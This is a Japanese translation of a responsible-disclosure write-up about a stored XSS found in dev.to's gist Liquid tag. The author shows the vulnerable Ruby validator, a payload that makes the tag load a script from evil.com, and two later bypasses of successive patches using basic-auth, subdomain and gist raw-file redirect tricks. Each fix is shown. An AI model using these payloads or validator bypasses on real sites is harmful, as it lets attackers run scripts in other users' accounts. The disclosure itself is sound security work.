本記事は、以下の記事の翻訳です:
Pwned Together: Hacking dev.to by Antony Garand
* 執筆者に許諾を頂いた上で掲載しています。
はじめに
私は、dev.to のソースコードについて書かれた次のすばらしい記事を読んで、大いに刺激を受けました。
そこで、dev.to のフォロワーが 500 人になったことの記念として、dev.to のハッキングに挑戦することにしました!
結果として、私はカスタム Liquid タグを利用した Stored XSS の攻撃方法を発見しました。
これは、あなたが感染したブログ記事を見た場合、私があなたのブラウザを操りあなたの代わりに処理を実行することができるようになる、というものです!
背景
XSS とは欠陥をつく攻撃手法のことです。
欠陥をつくことにより、悪意あるユーザー、すなわち今回の場合は 私 が、ページに JavaScript コードを注入することができるようになります。
JavaScript を使えば、シングル・ページ・アプリケーションの場合は特に顕著ですが、その Web サイト上であなたのアカウントを用いて実にたくさんのことが行えるようになります!
あなたのプロフィールを更新したり、新しい記事を投稿したり、記事に対してイイねやコメントを付けたり、さらにはそれ以上のことができるようになるでしょう!
XSS が実行できるということは、ブラウザの立ち位置から Web サイトに対する完全なコントロールを握れるようになる、ということです。
そのため極めて深刻な問題となるのです。
XSS には複数の種類が存在します:
- Reflected XSS(反射型): 攻撃の起点として、ユーザーが悪意のあるリンクへアクセスすることを必要とします。これは、攻撃が行われるためには、あなたが悪意のあるコードが存在するところまでリダイレクトされるか、もしくはそこに至るリンクをクリックすることが必要である、ということです。
- Stored XSS(蓄積型): こちらはサーバーへのデータ書き込みを利用した XSS 攻撃です。そのためその Web サイト自身が攻撃の配信者となります。これは、特殊な細工を施されたブログ記事の事例が該当します。通常のユーザーのふるまいが起点となり、あらゆる人のもとで増幅されるため、はるかに深刻な問題を引き起こします。
例を挙げると、Stored XSS は、数年前に TweetDeck で発見されました。
アプリケーション上で、悪意のあるコードが自分自身のリツイートを繰り返し、ついにはとんでもない数のリツィートを生み出しました:
脆弱性
最初のコード
編集ガイド に記載されているように、dev.to にはたくさんのカスタム Liquid タグが実装されています。
その内の一つは、先ほど引用したブログ記事で Josh によって最近つくられたものです。
そのようなわけで、私はそこにセキュリティの問題が無いかをチェックすることにしました!
これらの Liquid タグのソースコードは /app/liquid_tags フォルダの下にあります。
すぐさま、こちらの gist の処理が興味を引きました: 渡されたタグが script タグへ直接書き込まれています!
html = <<~HTML
<div class="ltag_gist-liquid-tag">
<script id="gist-ltag" src="#{@link}.js"></script>
</div>
HTML
そしてそのバリデーテション処理には改善の余地が大いにありました。
def valid_link?(link)
link.include?("gist.github.com")
end
gist
リンクの使用方法は ドキュメント によると次の通りです:
{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
.js
を追加することで、gist の中にうまい具合に埋め込まれるスクリプトを作成できます。
バリデーションが不十分で、そのリンクが gist.github.com
を含んでいることしかチェックしていなかったので、このように回避できました:
{% gist //evil.com/script#gist.github.com %}
これは <script src="//evil.com/script#gist.github.com.js"></script>
に変換されるでしょう。
そのため、もとは gist だったものが、安全で無いスクリプトとしてブログ記事にロードされるでしょう。
Stored XSS のでき上がりです!
dev.to の開発チームは連絡を受けるや否や、すぐに パッチ をつくって valid_link
関数をアップデートしました:
def valid_link?(link)
(link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end
回避攻撃策 その 1
このパッチは渡されたリンクが http[s]://gist.github.com
で始まることを検証していました。
前のバリデーションよりは良くなりましたが、これではまだ攻撃を防ぐのに十分ではありません!
次の 2 つのドメインはこのバリデーションをパスするでしょう。
しかし依然として外部のスクリプトをロードします:
最初のものは Basic 認証方式 を使用しています。
gist.github.com
をユーザー名として Web サイト evil.com
へ送信します。
次のものはシンプルに evil.com
のサブドメインを使用しています。
この問題は gist.github.com
の後ろにスラッシュを要求するようにすることで、すぐに修正されました。
この問題の対応方針として妥当なものです。
def valid_link?(link)
(link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end
回避攻撃策 その 2
先ほどのパッチにより、ドメインは gist.github.com
であることが求められるようになりました。
やりますね!
しかしまだ抜け道はありました。
それはこの Web サイトの特性を利用したものでした。
生の gist ファイルを見てみましょう。
今回は poc.js を使います。
生ファイルへのリンクは次の形式で与えられます:
https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]
このドメイン gist.githubusercontent.com
を gist.github.com
に置換すれば、実際にはもとの githubusercontent.com
ドメインへリダイレクトされるでしょう!
これは、私の gist にある poc.js
の生ファイルに、次のようにすればアクセスできるということです:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
2 番目の URL のドメインにご注意ください: gist.github.com です。
こうすることで、生ファイルが gist.github.com ドメインから配信されるので、先ほどのパッチをうまくすり抜けられるのです。
この攻撃に対するパッチは、今日、早速うまい具合に当てられました。
渡された gist 情報をより強力な正規表現で処理することで強い制約を掛けています: Commit
def valid_link?(link)
(link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
zero?
end
終わりに
最初のバグを見付けた後、dev.to のバグ発見の報奨金プログラム に基づいて、開発チームはすぐさまバグへの対応を行いパッチを作成しました。
私は苦労の末に、セキュリティ部門の殿堂入りの栄光と、愛しの報奨金 150$ と、 シールの詰め合わせ を手にしました。
実際のソースコードを利用でき、且つ、バグの報奨金プログラムが展開されているので、より多くの人々が Web サイトの問題を洗い出すようになるでしょう。
このことは Web サイトをよりセキュアなものにします。
最後になりますが、全体を通して、今回の経験はすばらしいものでした!
私はみなさんにも強くおすすめします。
ソースコードをチェックアウトして、バグとセキュリティに関するイシューを作成して、Web サイト全般のセキュリティを向上させるためのプルリクエストを作成しましょう。
どこから始めたものかとお考えの場合は、http リンクを https に置き換える ようなシンプルなものをコミットすることから始めると良いでしょう!
お読み頂きどうもありがとうございました。
本記事は、以下の記事の翻訳です:
Pwned Together: Hacking dev.to by Antony Garand
To Antony: Thank you so much for your kind permission for me to translate your post.